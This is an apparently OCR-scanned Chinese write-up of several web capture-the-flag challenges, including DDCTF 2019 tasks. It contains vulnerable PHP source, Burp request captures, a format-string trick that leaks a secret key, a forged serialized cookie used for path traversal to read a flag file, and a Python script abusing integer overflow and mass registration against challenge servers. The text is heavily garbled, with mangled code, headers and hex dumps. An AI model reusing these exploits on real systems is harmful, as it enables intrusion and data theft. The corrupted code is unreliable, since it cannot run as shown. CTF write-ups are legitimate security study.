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* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/

error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8");

if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZM1F6WXhOamN5U1RaQk56QTI0dz09");

$file = hex2bin(base64_decode(base64_decode($_GET[ ' 'jpg']1)));

echo '<title>'.$ GET['jpg'].'</title>';

$file = preg_replace("/[”a-zA-Z0-9.]+/","", $file);

echo $file.'</br>';

$file = str_replace("config","!", $file);

echo $file.'</br>';

$txt = base64_encode(file get contents($file));

echo "</img>";
/*
* Can you find the flag file?

*
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<?php

include('config.php');

$k = 'hello';
extract($_GET);
if(isset($uid))

{
$content=trim(file get contents($k));
if($uid==%$content)

{

echo $flag;
)

else

{

echo'hello’;
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beforeSend: function (XMLHttpRequest) {

XMLHttpRequest.setRequestHeader("didictf_username", "");

}s

bpfl it inheadersk: didictf_username: admin

Go Cancel < |v >|v Target: http://117.51.158.44 Izj U

Request Response

Huders Hex Raw | Headers | Hex

HTTE/1l.1 200 0K

Name | Value | Add Serwver: nginx/l.10.3 [Ubunto)
GET fapp/Auth.php HTTR/1.1 Datea: Suon, 14 Apr 2019 09:28:01 GHT
Content-Type: application/ json
Els TS Remave Connactioﬁ? closg ’
User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13;r... Content-Langth: 140
Accept text/html,application/xhtml+xml,application/... up
Accept-Language zh-CN,zh;q0=0.8,zh-TW:q=0.7,zh-HK:g=0.5 e... I"errMag": "aocceas", "data": "huE0ashu5£530524d Y0553 05249d 0 s T4 3096504
. mdedatuTbalbo 74064054 55--—-uSbE T uSbbEu9Sesapph /fLEXIDZ i0cdh. php "}
Connection close Down
Upgrade-Insecure-R... 0
didictf_username admin

Vj 4 /appAL2XID2i0Cdh.php
SRAF YA
Hrhghiget keyrd %L

private function get key() {

//eancrykey and flag under the folder
$this->eancrykey = file _get contents('../config/key.txt");

EAEIR S eancrykey

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {

$data = sprintf($data,$v);

}

parent: :response($data, "Welcome");

AR H 11 41 75 2% B cookie 2 A\session_read %L
F+ HPOST/% A nicknameZ#{

Al LRI SR POST /5 s nickname="a’
i arr=[‘a’,$this->eancrykey]
fE¥R R AT sprintf(data,‘a’)
jdata="welcome my friend a’
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#POSTJ7 X f&nickname="%s’

P 4T sprintf(data, %s’)

Njdata="welcome my friend %s’
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Target: http://117.51.158.44 @J L

Response

Raw | Headers | Hex

POST request to fapp/Session.php

Type | Name | Value
Cookie ddctf_id adfs: 10 session_id"s:32."84e4...
Body nickname %

Add
Remove
Up

Down
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public function _ destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {

exit();
)

HTTE 1.1 200 oK

Serwver: nginx/l.10.3 [Ubunto)

Date: Tho, 18 Bpr 2019 12:32:58 OMT
Content-Type: application,jaon
Connection: cloae

Content-Length: 327

{"errMag":"socceas", "data": "Yus0a2\uS£530524du5E530524duETA 300650
udedatoThal i u 406405458 ——— - uSbEf ThuSbbiudSaesapph /EL2XID2i0Cdh. php" b "
srriag”: "Welcoma", "data": "Weloome my frisnd
EzblrbNs"}{"srrHag”: "suceas", "data": "DiDI Walcoms you Hozillah /5.0
[Hacintoah; Intsl Hac 02 ¥ 10.13; rv:6s.0) Gecko' 20100101

Pirafoxh /66.0"}

$this->response($data=file_get contents($path), 'Congratulations');

}
exit();

iUk Aag S E Y .. Jconfigiflag.tet(1: B IE 4 9 18)

private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../","'"',$path);

$path=str_replace('..\\',"'"',$path);
return $path;
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var $cookie name = 'ddctf_id’';

$session = $ COOKIE[$this->cookie name];
if(!isset($session)) {
parent::response("session not found", 'error');
return FALSE;
b
$hash = substr($session,strlen($session)-32);

$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match", 'error');
return FALSE;

¥

$session = unserialize($session);

F 2 IR 55 fs i 2> A K cookie P ddetf_id 2 % b ¢ Jm 321
1656 2 75 &5 md5(this->eancrykey.$session)
this->eancrykeyft Il L& 3k45

sk iEsession

<?php

class Session{

var $path="....\\/config/flag.txt";
}

$k=new Session();

echo serialize($k);
echo md5('EzblrbNS'.serialize($k));

?>

HJi&ddctf_id=0:7:“Session”:1:{s:4:“path”;s:21:".../config/flag.txt";}4b5ba6958a987 3f456c2928b64b0be4d
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HTTE,S1.1 200 OK
Server: nginx/l.10.3 [Ubontn)
Date: Sun, 14 &pr 2019 23:59:40 GMT

POST request to fapp/Session.php

e

Type | Name | Value |

Add Content-Type: application/j=aon
Body ddctf_id 0:7:"Session™1]s: 4 "path®s:21".... Connection: cloae
Body nickname g BERE Content-Length: 220
{"errHag": "aocceas", "data": "huE0agu5£590524d05£530524d 08T A0 dE50Y
Up udadatuTbalinTA0E4 05458 ———-Su2bfThnebbfndSaatapph /fL2XID2i00dh. php" } {"
srrMag”: "Congratulationa”, "data”: "DOCTF {ddctf2019_GAugw J6E_pHW1HIDDG WE
EE-REES]

Down
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Target: httpe//117.51.147.155:5050 LﬁJ L

Raw | Headers | Hex

SET fotffapifboy_ticketiticket _price=d20406T7206 HTTRSL.1
Homt: 117.51.147.155:5050

Uasr-&gent: Mozilla/S5.0 (Macintoash; Intel Mac OS5 ¥ 10.13; rwvige.0)
Secko/20100101 Firefox/66.0

woccept: applicationy j=on

aocapk-Languagea:
zh-CW,zh;g=0.8,=h-TW;g=0.7,=h-HHK;g=0.5,en-U5;g=0.9,an;g=0.2
Referer: hetp:/¥LLT7.51.147.155:5050/ index.heml

Zonnection: cloas

Zookie: user_name=ligw;
REVEL_SESSIOW=23bbd3cad03ell0d0fddeTl8ad0adfas

HTTE/ 1.1 200 OK

Serwver: nginxzfl.1l2.2

Datae: Thu, 18 ARpr 2019 l&:0l:0L SMT
Content-Type: application/jaon
Content-Length: L1&3

connection: cloza

{"code":200, "data i {"bill_id":"&€Tc8debi-0300-458ad-01lag-66dEbTOdESaT

ticket price":4294957296, "omer_name":"l2gw"}], "mag": "YuSdzdiodeT
D‘\IJQE!QS\L]?QSS\IJSZ].U\Llflzgf"}
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tcoded by H:Af%

import requests

def regist(name,pwd="'aaaaaaaa'):

url = "http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s"'%(name, pwd)
r = requests.get(url=url)

cookies = r.cookies.get_dict()

# cookies = requests.utils.dict_from_cookiejar(r.cookies)

users[cookies[ 'user_name']] = cookies['REVEL_SESSION']

return cookies['user_name'],cookies['REVEL_SESSION']

def buyticket(name,session):
url = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904"
header={'Cookie"': "user_name=%s; REVEL_SESSION=%s'%(name,session), 'Referer': 'http://117.51.147.155:5050/index.h
tml '}
requests.get(url=url,headers=header)

bill id = eval(r.text)['data'][@]['bill_id']#,requests.utils.dict_from_cookiejar(r.cookies)
payticket(bill id,name,session)

def payticket(bill id,name,session):

url = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill id=%s'%(bill_id)

header={"'Cookie"': "user_name=%s; REVEL_SESSION=%s'%(name,session), 'Referer': 'http://117.51.147.155:5050/index.h
tml '}

requests.get(url=url,headers=header)

myid = eval(r.text)["data"][@]["your_id"]

ticket = eval(r.text)["data"][@]["your_ticket"]

getflag(myid,ticket)

def getflag(id,ticket):
url = "http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"'%(id,ticket)
header={'Cookie':"'user_name=%s; REVEL_SESSION=%s'.format(adminUser,adminSession), 'Referer': 'http://117.51.147.
155:5050/index.html"}
requests.get(url=url,headers=header)
print eval(r.text)

adminUser , adminSession = regist('getMyFlagll')
print adminUser,adminSession #important
buyticket(adminUser,adminSession)

for x in range(200,301):
regist('newUser%s'%(x))
for n in users:
if n != adminUser:
buyticket(n,users[n])
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5 mE Db

B A E M adminUserlik 5
1 A\ http://117.51.147 .155:5050/index.html#/main/index

wiresharkf] T, S Hhtpsrd
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[ NN Wireshark - S - HTTP #5&F%#
i A FHE o R Faln R
1387 tools.jb51.net text/html 25 kB img_add_info
1622 up.imgapi.com  textfjson 60 bytes |
1782 up.imgapi.com multipart/form-data 125 kB [
1818 up.imgapi.com json 505 bytes |
1882 www.tietuku.com text/html 17 kB afa7ac337cbB2768
1920 www.tietuku.com text/html 1bytes ?c=User&a=getmessnum
2020 www.tietuku.com text/html 11 kB upload
2146  www.tietuku.com text/html 1bytes ?c=User&a=getmessnum
2538 up.imgapi.com text/json 60 bytes |/
4847 up.imgapi.com multipart/form-data 1688 kB |
4889 up.imgapi.com json 505 bytes |
5027 www.tietuku.com text/html 17 kB a7182e9802672564
5079 www.tietuku.com text/html 1bytes ?c=User&a=getmessnum
6420 i2.bvimg.com image/png 966 kB 414e8ed1def77efas.png

#6420 A v


http://117.51.147.155:5050/index.html#/main/result
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508475354202 T204854545827312e310d@ad486T73743a2075702e696d676170692e636T6d0dRad36T6e74656e742d547970653a206d756c74697061
72742T666T726d2d646174613b206261756e646172793d2d2d2d2d5765624b6974466T720d426T756e64617279426449664e686236486971627151
Ge4d@deadf726967696e3220687474703a2T2T7777772e74696574756b752e636T6d0dRad4163636570742d456e636T646962673a20677a69702c20
6465666C6174650d@ad36T6e6e656374696T6e3a206b6565702d616C6976650dPad163636570743a202a272a0d@as557365722d4167656e743a204d
6T7ab96c6c6127352e3020284d6163696e746T73683b20496274656Cc204061632047532058203130573132573629204170706¢c655765624b69742T
3630352e312e313520284048544d4c2c 206 ch96bR5 20476563606 T292056657273606T6e2731322230205361666172692T36303522312231350d0a
526566657265723a206874747@3a2f2F7777772e74696574756b752e636T6d2T75706c6T01640dPad36T6e74656e742d4cb56e6774683a20313235
3734300d0ad4163636570742d4chb16e67756167653a207a682d636e0d0a@dda

2d2d2d2d2d2d5765624b6974466T726d426 T756e6461727942644066426862364860716271516e4ddd@ad36T6e74656e742d446973706T73697469
6T6e3a20666T7206d2d646174613b206e616d653d22546T0b656e220d0addBad24342423046353436830333931453644374534414342394632464131
3645383932343031394538333a36742d4433656d5a37646T42644d3756586730484b6263706869553d3a65794a6b5a57466b62476C755a5349364d
5455384e7a63784e6a45794d43776964576c6b496a6T69406a63304T4463304969776095957786964573069476949784e5451334d7a6377496e303d
Bd@a2d2d2d2d2d2d5765624b6974466T726d426 T756e640617279426449664e6862364869716271516e4d0dad36T6e74656e742d446973706T7369
74696 763220666 T726d2d646174613b206e616d653d226964220d0a@d@as57555T46494c455T300dRa2d2d2d2d2d2d5765624b6974466T726d426T
756e6461727942644966406862364869716271516e4d0dPad36T6e74656e742d446973706T736974696T6e3a20666T726d2d646174613b2086e616d
653d226e6160d65220d0a0dBa75706c6T61642e706e670d0a2d2d2d2d2d2d5765624b6974466T726d426T756e64617279426449664e686236486971
6271516e4d@d@a436T6eT74656e742d446973706 77360746096 T6e3a20666T726d2d646174613b206e616d653d2274797065220d0a0dBab96d616765
21706e670d@a2d2d2d2d2d2d5765624b6974466T726d426T756e64617279426449664e68062364869716271516e4d08d@a436T6e746560742d446973
Te6T736974696T603a20666T726d2d646174613b206e616d653d22606173744d6T64696669656444617465220d0a0d@a32303139213127313720e4
b88be58d88343a30393a32330d0a2d2d2d2d2d2d57656240697 4466 T726d426T756e64617279426449664e6862364869716271516e4d0ddadl6fhe
74656e742d4469737061736974696T6e3a20666T726d2d046174613b206e616d653d2273697a65220d0a@d@a3132343739370d0a2d2d2d2d2d2d57
65624b6974466T726d426T75606461727942644966426862364869716271516e4d2d@ad36T6eT46560742d446973706T736974696T603a20666T72
6d2d646174613b206e616d653d2266696C65223b2066696CH56e616d653d2275706chTE1642e706e67220d0ad36T6e746562742d547970653a2069
6d6167652f706e670d0a0dBaB9504e47000alala0R0RBRAd494844520000063-0000021808060000007b69%eb1PER0AC1469434350494343205072
6TEE696CA5@00048899557875853c9169%9e5h5208292d10012%a137418a74e9bd@848071b2109492581112828a1d59547@2das858b0azab200aac@590
b5625716c1delfB8aBacac8b@52caBbc49915d5 T fbdef9bebdf3e7cc3967 fe33T7dcciBc@Raathacdcdcbc540d801ch1lbe2836c49T999c82ca2475
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